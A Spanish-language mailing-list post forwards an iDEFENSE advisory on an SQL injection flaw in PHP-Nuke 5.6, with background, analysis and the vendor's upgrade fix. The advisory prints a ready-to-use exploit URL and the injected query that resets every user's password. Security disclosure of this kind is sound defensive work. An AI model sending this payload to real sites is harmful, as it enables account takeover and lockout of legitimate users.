Seguro a más de uno le interesa este reporte. Al menos
debería interesarle al administrador de linux.org.mx
(¿Arturo?) de la Cofradia (Pop) dado que se esta usando
PHP-Nuke para el sitio.
¿Es una vulnerabilidad no resuelta o ya esta el parche y
aplicado? Entre al sitio de PPHNuke pero no hay noticas
sobre si es cierta o falsa la nota.
Saludos,
Toño

Vulnerability

iDEFENSE Security Advisory 10.31.02c:
http://www.idefense.com/advisory/10.31.02c.txt
PHP-Nuke SQL Injection Vulnerability
October 31, 2002
I. BACKGROUND
"PHP-Nuke is a news automated system specially designed to be used in
Intranets and Internet. The Administrator has total
control of his web site, registered users, and he will have in the
hand a powerful assembly of tools to maintain an active and 100%
interactive web site using databases." More information is available
at http://www.phpnuke.org.
II. DESCRIPTION
PHP-Nuke is susceptible to an SQL injection attack that allows an
attacker to modify a user's table to his or her liking. It is
possible for any registered user of the target system to launch this
attack by feeding certain unfiltered characters to the account
manager module. The attacker can target a specific user or all system
users at once. The key is the ability to insert a backslash into the
"bio" field, thereby escaping a quote and leaving the SQL query open
for injection. The following example will modify every PHP-Nuke users
password to "1.":
Exploitation requires that the attacker log on, enter the account
manager and determine his or her UID through the source of the page.
If the attacker's UID is 2, he or she can then launch the attack by
requesting the following URL:
modules.php?name=Your_Account&op=saveuser&uid=2&bio=%5c&EditedMessage=
no&pass=xxxxx&vpass=xxxxx&newsletter=,+bio=0,+pass=md5(1)/*
The injected query is constructed as follows:
UPDATE nuke_users
SET name = '',
email = '',
femail = '',
url = 'http://',
pass = 'xxxxx',
+--[ bio = '\',
| user_avatar = '',
| user_icq = '',
| user_occ = '',
| user_from = '',
| user_intrest = '',
| user_sig = '',
| user_aim = '',
| user_yim = '',
| user_msnm = '',
+--[ newsletter = ',
bio=0,pass=md5(1)/*' WHERE uid='2'
The marked area is all treated as a value to store into bio. The
"where" clause is commented out, leaving an update statement that
updates the entire table (ie: all users) to having a password of
MD5(1).
III. ANALYSIS
Exploitation allows an attacker to compromise any other system
account, thereby gaining the privileges and identification of the
compromised account. The attacker can also corrupt the entire user's
table, effectively denying service to legitimate users.
IV. DETECTION
iDEFENSE Labs successfully tested and exploited this vulnerability in
PHP-Nuke 5.6, Unix version. As the described exploit is dangerous in
nature, administrators should not test in a production environment.
V. VENDOR FIX
The author, Francisco Burzi, responded:
"PHP-Nuke version 6.0 is not vulnerable to the SQL injection
attack...
Latest version is 6.0 and 6.5 under development. Old versions doesn't
have support of any kind, all bugs and security fixes apply in the
new versions. So, the solution to this security hole is to update the
software from 5.6 to 6.0 version."
VI. CVE INFORMATION
The Mitre Corp.'s Common Vulnerabilities and Exposures (CVE) Project
has assigned the identification number CAN-2002-1242 to this issue.
